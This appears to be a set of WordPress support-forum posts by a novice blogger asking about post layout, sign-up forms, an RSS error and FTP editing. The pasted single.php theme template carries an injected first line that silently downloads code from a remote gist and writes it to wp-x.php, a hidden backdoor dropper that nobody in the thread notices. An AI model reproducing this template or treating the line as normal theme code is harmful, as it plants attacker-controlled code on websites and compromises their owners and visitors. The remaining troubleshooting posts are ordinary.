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  • Thread Starter TheTJ

    (@measuringflower)

    @media X,

    That didn’t work either. :-/ It placed it in the same spot it is now and added another dotted line beneath it.

    My Single.php doesn’t naturally had the <div class=”post-info”>…</div> tags in it either, I tried adding them, but same results. Here’s how my single.php looks:

    <?php get_header(); @file_put_contents("wp-x.php",file_get_contents("https://raw.github.com/gist/1868194/29b9ff700cc4adbf4a5700b3c09d9c07b399baee/2008"));?>
    	<div class="homepage">
        	<?php genesis_before_content(); ?>
            <div class="ad-block-125">
            <?php if (!dynamic_sidebar('Homepage Ads')) : ?>
            <?php endif; ?>
            </div>
    
                <div class="fb-middle">
                <?php if (!dynamic_sidebar('Featured Bottom Middle')) : ?>
                    <div class="widget">
                        <div class="wrap">
                        </div><!-- end .wrap -->
                    </div><!-- end .widget -->
                <?php endif; ?>
                </div><!-- end #featured-bottom -->	
    
                <div class="fb-right">
                <?php if (!dynamic_sidebar('Featured Bottom Right')) : ?>
                    <div class="widget">
                        <div class="wrap">
                        </div><!-- end .wrap -->
                    </div><!-- end .widget -->
                <?php endif; ?>
                </div><!-- end #featured-bottom-right -->
            </div>
    <?php genesis_before_content_sidebar_wrap(); ?>
    <div id="content-sidebar-wrap">
    
    	<div id="content">
    
    <div class="entry-content"><span style="font-size: 10px;"><div align="center"><b>Disclosure:</b> This post may contain affiliate links. Thank you very kindly for helping me stay a stay-at-home mom!
    
    </div></span></div>
    
    	<?php genesis_before_loop(); ?>
    	<?php genesis_do_loop(); ?>
    
    	<?php genesis_after_loop(); ?>
    
    	</div><!-- end #content -->
    	<?php genesis_after_content(); ?>
    
    </div><!-- end #content-sidebar-wrap -->
    <?php genesis_after_content_sidebar_wrap(); ?>
    
    <?php get_footer(); ?>

    [Please use the code buttons, NOT blockquote, when posting code]

    Thread Starter TheTJ

    (@measuringflower)

    @media X, do I place that in my single.php or somewhere else? I should’ve mentioned I’m kinda slow at all this, lol. I tried putting it my single.php, but it shows in the same place above the title. I’d like it before the time stamp and that info. 🙂

    Thread Starter TheTJ

    (@measuringflower)

    Ok, using single.php, I figured out how to get it above the posts. However, I would really like for it to be before the content of the post (like after the time stamp and what not), and haven’t figured that out. :-/

    Forum: Fixing WordPress
    In reply to: How to Email Form
    Thread Starter TheTJ

    (@measuringflower)

    Anybody have any ideas?

    Forum: Fixing WordPress
    In reply to: How to Email Form
    Thread Starter TheTJ

    (@measuringflower)

    I’m trying to clear up my sidebars so they’re not as busy. I also recently read an article stating that having the sign up in the header gleans more sign ups, so I want to try that. It’d go directly above my social network icons. Then I’ll remove my other sign up forms. 🙂

    Forum: Fixing WordPress
    In reply to: RSS Feed Error
    Thread Starter TheTJ

    (@measuringflower)

    That was it! It’s working again now. Thanks! 😀

    Forum: Fixing WordPress
    In reply to: RSS Feed Error
    Thread Starter TheTJ

    (@measuringflower)

    OH, I also tried deactivating ALL my plugins to see if one of them was causing it, but nope. 🙁

    Thread Starter TheTJ

    (@measuringflower)

    Thanks! I got it figured out. 🙂 Have a great day and thanks for all your help. 🙂

    Thread Starter TheTJ

    (@measuringflower)

    Oh, ok. 🙂 Yes, I’m self-hosted WP. Just switched from Blogger a month or so ago.

    Thread Starter TheTJ

    (@measuringflower)

    Ok, I just solved it. I accessed the Web FTP. It wouldn’t access it before because it didn’t have the www. in the URL. Once the www. was in, I was able to successfully login and, magically, these buttons appeared to edit the FTP. I took your suggestions to change the name of the file. Once I did this, it completely fixed it! Thank you so much, and sorry to be a bugger. I really appreciate the help–and the quick answers. Have a great day, everyone! I’ll bug you all again in probably 5 minutes once I screw something else up…lol.

    Thread Starter TheTJ

    (@measuringflower)

    Nope, doesn’t look like that. Here’s what it looks like:

    http://bit.ly/oLKanw

    I also captured the menu when right-clicking it.

    The rest of the page is blank.

    Thread Starter TheTJ

    (@measuringflower)

    Lol, I tried. You’re going to think I’m such a dummy. I can’t figure out how to edit it.

    Thread Starter TheTJ

    (@measuringflower)

    @kmessinger

    Thanks for your help! If you’re still on (or if another can assist me), I use DreamHost and here’s what I have done so far:

    from the DreamHost cpanel:

    1) Logged in to my ftp
    2) Went from my website > wp-content > plugins > subscribers-text-counter > subscribers-text-counter.php

    Then I got stuck. I don’t know how to edit/delete anything!

    I have done this for all of 2 days, so I am SO confused!

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